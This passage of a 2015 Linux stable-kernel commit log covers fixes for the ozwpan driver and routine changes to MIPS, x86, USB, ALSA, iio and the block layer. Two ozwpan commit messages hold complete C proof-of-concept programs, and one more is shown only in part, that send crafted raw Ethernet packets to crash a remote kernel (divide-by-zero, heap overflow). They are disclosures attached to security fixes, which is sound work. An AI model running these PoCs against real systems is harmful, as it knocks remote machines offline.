    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 0,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		},
    		.oz_elt2 = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_multiple_fixed) - 3
    		},
    		.oz_multiple_fixed = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_USB_ENDPOINT_DATA,
    			.endpoint = 0,
    			.format = OZ_DATA_F_MULTIPLE_FIXED,
    			.unit_size = 1,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 31c39eb8bdf7226a472d910f36ae7a2f3cbace85
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:07:00 2015 +0200

    ozwpan: divide-by-zero leading to panic
    
    commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
    
    A network supplied parameter was not checked before division, leading to
    a divide-by-zero. Since this happens in the softirq path, it leads to a
    crash. A PoC follows below, which requires the ozprotocol.h file from
    this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    		struct oz_elt oz_elt2;
    		struct oz_multiple_fixed oz_multiple_fixed;
    	} __packed packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 0,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		},
    		.oz_elt2 = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_multiple_fixed)
    		},
    		.oz_multiple_fixed = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_USB_ENDPOINT_DATA,
    			.endpoint = 0,
    			.format = OZ_DATA_F_MULTIPLE_FIXED,
    			.unit_size = 0,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b042a31d19ad9780c3eba768eef8db5a8c048653
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:06:58 2015 +0200

    ozwpan: Use proper check to prevent heap overflow
    
    commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
    
    Since elt->length is a u8, we can make this variable a u8. Then we can
    do proper bounds checking more easily. Without this, a potentially
    negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
    resulting in a remotely exploitable heap overflow with network
    supplied data.
    
    This could result in remote code execution. A PoC which obtains DoS
    follows below. It requires the ozprotocol.h file from this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    	} __packed connect_packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(0)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_CONNECT_REQ,
    			.length = sizeof(struct oz_elt_connect_req)
    		},
    		.oz_elt_connect_req = {
    			.mode = 0,
    			.resv1 = {0},
    			.pd_info = 0,
    			.session_id = 0,
    			.presleep = 35,
    			.ms_isoc_latency = 0,
    			.host_vendor = 0,
    			.keep_alive = 0,
    			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
    			.max_len_div16 = 0,
    			.ms_per_isoc = 0,
    			.up_audio_buf = 0,
    			.ms_per_elt = 0
    		}
    	};
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_get_desc_rsp oz_get_desc_rsp;
    	} __packed pwn_packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
    			.pkt_num = htole32(1)
    		},
    		.oz_elt = {
    			.type = OZ_ELT_APP_DATA,
    			.length = sizeof(struct oz_get_desc_rsp) - 2
    		},
    		.oz_get_desc_rsp = {
    			.app_id = OZ_APPID_USB,
    			.elt_seq_num = 0,
    			.type = OZ_GET_DESC_RSP,
    			.req_id = 0,
    			.offset = htole16(0),
    			.total_size = htole16(0),
    			.rcode = 0,
    			.data = {0}
    		}
    	};
    
    	struct sockaddr_ll socket_address = {
    		.sll_ifindex = interface_index,
    		.sll_halen = ETH_ALEN,
    		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    	};
    
    	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	usleep(300000);
    	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    		perror("sendto");
    		return 1;
    	}
    	return 0;
    }
    
    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bc3544e1618915ac5be171804267b0b52461295f
Author: James Hogan <james.hogan@imgtec.com>
Date:   Thu Jun 4 13:25:27 2015 +0100

    MIPS: Fix enabling of DEBUG_STACKOVERFLOW
    
    commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
    
    Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added
    kernel stack overflow detection, however it only enabled it conditional
    upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
    actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
    which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
    switch it to using that definition instead.
    
    Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: Adam Jiang <jiang.adam@gmail.com>
    Cc: linux-mips@linux-mips.org
    Patchwork: http://patchwork.linux-mips.org/patch/10531/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 648d4acc7d082635e26d1b3dc65218a760612ec5
Author: Wang Long <long.wanglong@huawei.com>
Date:   Wed Jun 10 08:12:37 2015 +0000

    ring-buffer-benchmark: Fix the wrong sched_priority of producer
    
    commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
    
    The producer should be used producer_fifo as its sched_priority,
    so correct it.
    
    Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com
    
    Signed-off-by: Wang Long <long.wanglong@huawei.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e4037eb7c531a6687704ecf1b24c66ac25ad3ab6
Author: Andy Lutomirski <luto@kernel.org>
Date:   Fri May 22 16:15:47 2015 -0700

    x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
    
    commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream.
    
    The early_idt_handlers asm code generates an array of entry
    points spaced nine bytes apart.  It's not really clear from that
    code or from the places that reference it what's going on, and
    the code only works in the first place because GAS never
    generates two-byte JMP instructions when jumping to global
    labels.
    
    Clean up the code to generate the correct array stride (member size)
    explicitly. This should be considerably more robust against
    screw-ups, as GAS will warn if a .fill directive has a negative
    count.  Using '. =' to advance would have been even more robust
    (it would generate an actual error if it tried to move
    backwards), but it would pad with nulls, confusing anyone who
    tries to disassemble the code.  The new scheme should be much
    clearer to future readers.
    
    While we're at it, improve the comments and rename the array and
    common code.
    
    Binutils may start relaxing jumps to non-weak labels.  If so,
    this change will fix our build, and we may need to backport this
    change.
    
    Before, on x86_64:
    
      0000000000000000 <early_idt_handlers>:
         0:   6a 00                   pushq  $0x0
         2:   6a 00                   pushq  $0x0
         4:   e9 00 00 00 00          jmpq   9 <early_idt_handlers+0x9>
                              5: R_X86_64_PC32        early_idt_handler-0x4
      ...
        48:   66 90                   xchg   %ax,%ax
        4a:   6a 08                   pushq  $0x8
        4c:   e9 00 00 00 00          jmpq   51 <early_idt_handlers+0x51>
                              4d: R_X86_64_PC32       early_idt_handler-0x4
      ...
       117:   6a 00                   pushq  $0x0
       119:   6a 1f                   pushq  $0x1f
       11b:   e9 00 00 00 00          jmpq   120 <early_idt_handler>
                              11c: R_X86_64_PC32      early_idt_handler-0x4
    
    After:
    
      0000000000000000 <early_idt_handler_array>:
         0:   6a 00                   pushq  $0x0
         2:   6a 00                   pushq  $0x0
         4:   e9 14 01 00 00          jmpq   11d <early_idt_handler_common>
      ...
        48:   6a 08                   pushq  $0x8
        4a:   e9 d1 00 00 00          jmpq   120 <early_idt_handler_common>
        4f:   cc                      int3
        50:   cc                      int3
      ...
       117:   6a 00                   pushq  $0x0
       119:   6a 1f                   pushq  $0x1f
       11b:   eb 03                   jmp    120 <early_idt_handler_common>
       11d:   cc                      int3
       11e:   cc                      int3
       11f:   cc                      int3
    
    Signed-off-by: Andy Lutomirski <luto@kernel.org>
    Acked-by: H. Peter Anvin <hpa@linux.intel.com>
    Cc: Binutils <binutils@sourceware.org>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: H.J. Lu <hjl.tools@gmail.com>
    Cc: Jan Beulich <JBeulich@suse.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d1c4c579c23378656301b5481b2f941dff0495ad
Author: Patrick Riphagen <patrick.riphagen@xsens.com>
Date:   Tue May 19 10:03:01 2015 +0200

    USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
    
    commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
    
    This adds support for new Xsens device, Motion Tracker Development Board,
    using Xsens' own Vendor ID
    
    Signed-off-by: Patrick Riphagen <patrick.riphagen@xsens.com>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 911c565c7446c323aa0a24426b4b8f2ee08d5d22
Author: John D. Blair <johnb@candicontrols.com>
Date:   Thu Jun 4 13:18:19 2015 -0700

    USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
    
    commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
    
    Added the USB serial device ID for the HubZ dual ZigBee
    and Z-Wave radio dongle.
    
    Signed-off-by: John D. Blair <johnb@candicontrols.com>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d018f3ebc086be79fe6e28f8025d06d9102aa660
Author: Dan Williams <dan.j.williams@intel.com>
Date:   Wed Jun 10 23:47:14 2015 -0400

    block: fix ext_dev_lock lockdep report
    
    commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.
    
     =================================
     [ INFO: inconsistent lock state ]
     4.1.0-rc7+ #217 Tainted: G           O
     ---------------------------------
     inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
     swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
      (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
     {SOFTIRQ-ON-W} state was registered at:
       [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
       [<ffffffff810c1947>] lock_acquire+0xb7/0x290
       [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
       [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0  <-- take the lock in process context
    [..]
      [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
      [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
      [<ffffffff810c1947>] lock_acquire+0xb7/0x290
      [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
      [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
      [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
      [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70    <-- take the lock in softirq
      [<ffffffff8143bfec>] part_release+0x1c/0x50
      [<ffffffff8158edf6>] device_release+0x36/0xb0
      [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
      [<ffffffff8145aad0>] kobject_put+0x30/0x70
      [<ffffffff8158f147>] put_device+0x17/0x20
      [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
      [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
      [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
      [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
      [<ffffffff81067e2e>] __do_softirq+0xde/0x600
    
    Neil sees this in his tests and it also triggers on pmem driver unbind
    for the libnvdimm tests.  This fix is on top of an initial fix by Keith
    for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
    Fix dev_t minor allocation lifetime".  Both this and 2da78092dda1 are
    candidates for -stable.
    
    Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime")
    Cc: Keith Busch <keith.busch@intel.com>
    Reported-by: NeilBrown <neilb@suse.de>
    Signed-off-by: Dan Williams <dan.j.williams@intel.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bc2990ca6c55f98dab00d90d32649bec039ff111
Author: Hans de Goede <hdegoede@redhat.com>
Date:   Tue Jun 2 10:40:50 2015 -0700

    Input: elantech - fix detection of touchpads where the revision matches a known rate
    
    commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream.
    
    Make the check to skip the rate check more lax, so that it applies
    to all hw_version 4 models.
    
    This fixes the touchpad not being detected properly on Asus PU551LA
    laptops.
    
    Reported-and-tested-by: David Zafra Gómez <dezeta@klo.es>
    Signed-off-by: Hans de Goede <hdegoede@redhat.com>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d00b7b6be65c096f65beb829c1b6fd010c026e8b
Author: Peter Hutterer <peter.hutterer@who-t.net>
Date:   Mon Jun 8 10:17:32 2015 -0700

    Input: synaptics - add min/max quirk for Lenovo S540
    
    commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.
    
    https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2
    
    Tested-by: tommy.gagnes@gmail.com
    Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b52c230bd4558636890b64b49dae443edf910edb
Author: Clemens Ladisch <clemens@ladisch.de>
Date:   Wed Jun 3 11:36:42 2015 +0200

    ALSA: usb-audio: add MAYA44 USB+ mixer control names
    
    commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.
    
    Add mixer control names for the ESI Maya44 USB+ (which appears to be
    identical width the AudioTrak Maya44 USB).
    
    Reported-by: nightmixes <nightmixes@gmail.com>
    Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2995974ee9d2ab1af64b2652f42ab2cfb303168e
Author: Wolfram Sang <wsa@the-dreams.de>
Date:   Fri May 29 19:50:56 2015 +0900

    ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
    
    commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream.
    
    Fix this from the logs:
    
    usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
    ...
    usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong.
    usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1
    
    Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e515900d3522ba576536237132093cf3242616cb
Author: Takashi Iwai <tiwai@suse.de>
Date:   Tue Jun 2 19:57:08 2015 +0200

    ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
    
    commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.
    
    Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to
    make the sound working like other Aspire models.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b4d2616b996d43d6a36ab7cd93035b7403695696
Author: Laura Abbott <labbott@fedoraproject.org>
Date:   Thu May 14 11:42:17 2015 -0700

    n_tty: Fix auditing support for cannonical mode
    
    commit 72586c6061ab8c23ffd9f301ed19782a44ff5f04 upstream.
    
    Commit 32f13521ca68bc624ff6effc77f308a52b038bf0
    ("n_tty: Line copy to user buffer in canonical mode")
    changed cannonical mode copying to use copy_to_user
    but missed adding the call to the audit framework.
    Add in the appropriate functions to get audit support.
    
    Fixes: 32f13521ca68 ("n_tty: Line copy to user buffer in canonical mode")
    Reported-by: Miloslav Trmač <mitr@redhat.com>
    Signed-off-by: Laura Abbott <labbott@fedoraproject.org>
    Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1de7778602373647965449c05df072c00eef90fa
Author: Paul Cercueil <paul.cercueil@analog.com>
Date:   Fri May 15 17:18:36 2015 +0200

    iio: adis16400: Compute the scan mask from channel indices
    
    commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream.
    
    We unfortunately can't use ~0UL for the scan mask to indicate that the
    only valid scan mask is all channels selected. The IIO core needs the exact
    mask to work correctly and not a super-set of it. So calculate the masked
    based on the channels that are available for a particular device.
    
    Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
    Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
    Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message")
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1eb239e34765ab5e06035c78c1eb83e02224c8d3
Author: Paul Cercueil <paul.cercueil@analog.com>
Date:   Fri May 15 17:18:35 2015 +0200

    iio: adis16400: Use != channel indices for the two voltage channels
    
    commit 7323d59862802ca109451eeda9777024a7625509 upstream.
    
    Previously, the two voltage channels had the same ID, which didn't cause
    conflicts in sysfs only because one channel is named and the other isn't;
    this is still violating the spec though, two indexed channels should never
    have the same index.
    
    Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
    Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit ee365493aff72416a284007ada9c231db8830132
Author: Lars-Peter Clausen <lars@metafoo.de>
Date:   Fri May 15 17:18:34 2015 +0200

    iio: adis16400: Report pressure channel scale
    
    commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.
    
    Add the scale for the pressure channel, which is currently missing.
    
    Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
    Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448")
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 90d8a5681e4a9e320611b422f0ed012e148c2bca
Author: Axel Lin <axel.lin@ingics.com>
Date:   Wed May 20 08:53:20 2015 +0800

    iio: adc: twl6030-gpadc: Fix modalias
    
    commit e5d732186270e0881f47d95610316c0614b21c3e upstream.
    
    Remove extra space between platform prefix and DRIVER_NAME in MODULE_ALIAS.
    
    Signed-off-by: Axel Lin <axel.lin@ingics.com>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
